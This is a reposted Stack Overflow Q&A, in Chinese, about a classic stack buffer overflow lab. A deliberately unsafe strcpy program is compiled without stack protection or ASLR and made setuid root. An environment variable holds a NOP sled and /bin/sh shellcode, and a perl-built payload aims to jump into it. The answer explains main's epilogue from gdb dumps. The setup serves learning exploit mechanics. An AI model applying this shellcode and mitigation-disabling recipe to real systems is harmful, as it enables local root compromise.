gpt4 book ai didi

c - 使用缓冲区溢出执行存储在环境变量中的 shellcode

转载 作者:塔克拉玛干 更新时间:2023-11-02 23:52:32 27 4
gpt4 key购买 nike

我正在使用下面的代码尝试通过溢出 searchstring 变量来执行存储在环境变量中的一些 shellcode,以便 main 的返回地址包含环境变量的地址。但是,我在 printf 命令之前遇到了段错误。

#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]){

char searchstring[100];

if(argc > 1)
strcpy(searchstring, argv[1]);
else // otherwise
searchstring[0] = 0;

printf("Here");

}

我编译代码使用

gcc -m32 -g -o overflow.o overflow.c -fno-stack-protector -z execstack

为了禁用堆栈保护器并使堆栈可执行。我还通过修改/proc/sys/kernel/randomize_va_space 以包含 0 来禁用 ASLR。我还将所有者和组更改为 root:

sudo chown root:root overflow.o
sudo chmod u+s overflow.o

环境变量在shellcode之前包含一个NOP sled,我确定地址0xffffd910在NOP sled的中间。因此我运行程序使用

./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40')

但看到段错误。

我使用 gdb 在 main 上设置了一个断点,然后逐步执行指令。 seg 错误发生在 printf 命令到达之前,并且在 seg 错误之后立即检查堆栈指针和指令指针我看到了

(gdb) x/32x $esp
0xffffd910: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd920: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd930: 0x90909090 0x90909090 0xdb31c031 0xb099c931
0xffffd940: 0x6a80cda4 0x6851580b 0x68732f2f 0x69622f68
0xffffd950: 0x51e3896e 0x8953e289 0x0080cde1 0x4d524554
0xffffd960: 0x6574783d 0x53006d72 0x4c4c4548 0x69622f3d
0xffffd970: 0x61622f6e 0x58006873 0x4d5f4d44 0x47414e41
0xffffd980: 0x6d3d4445 0x6f687465 0x6c633d64 0x69737361

(gdb) x/x $eip
0x90909090: Cannot access memory at address 0x90909090

检查 main 的堆栈帧(之前发现地址为 0xffffd460)确认地址 0xffffd910 确实已被复制到搜索字符串中:

(gdb) x/32x 0xffffd460
0xffffd460: 0xffffd49f 0xffffd49e 0xffffd590 0xffffd910
0xffffd470: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd480: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd490: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4a0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4b0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4c0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4d0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910

我不明白,为什么main还没有执行完,栈指针和指令指针就跳转到这些位置了?还有,为什么指令指针跳转到0x90909090而不是0xffffd910?这是导致段错误的原因,还是我不知道的某些堆栈保护?

我知道这是一个人为的例子,但我只是想知道发生了什么。

谢谢!

最佳答案

在查看汇编代码后,我明白了发生了什么。代码的最后3行是

0x08048485 <+59>:    mov    ecx,DWORD PTR [ebp-0x4]
0x08048488 <+62>: leave
0x08048489 <+63>: lea esp,[ecx-0x4]
0x0804848c <+66>: ret

溢出 searchstring 变量会导致 ebp-0x4 中的数据被环境变量 (0xffffd910) 中 NOP sled 中途的地址覆盖。因此,上面的第 1 行将 0xffffd910 存储在 ecx 中。

这意味着在上面的第3行中,ecx-0x4 = 0xffffd910 - 0x4 = 0xffff90c,这个地址存储在esp中。存储在这个地址的数据是 0x90909090(因为我们还在 NOP sled 的中间)。最后,在上面的最后一行中,该数据作为 main() 的返回地址从堆栈中弹出,这就是我们最终得到 eip=0x90909090 的原因,弹出操作意味着 esp 被移回到 0xffff90c + 0x4 = 0xffffd910。

我一直以来的错误是假设 main() 函数在返回地址方面的行为与其他任何函数一样。 C 没有“返回地址”的概念 - 这些是实现细节 - 在我的 Arch Linux 机器上使用 gcc-multilib 4.9.2-1,这就是它的实现方式。

关于c - 使用缓冲区溢出执行存储在环境变量中的 shellcode,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27583889/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com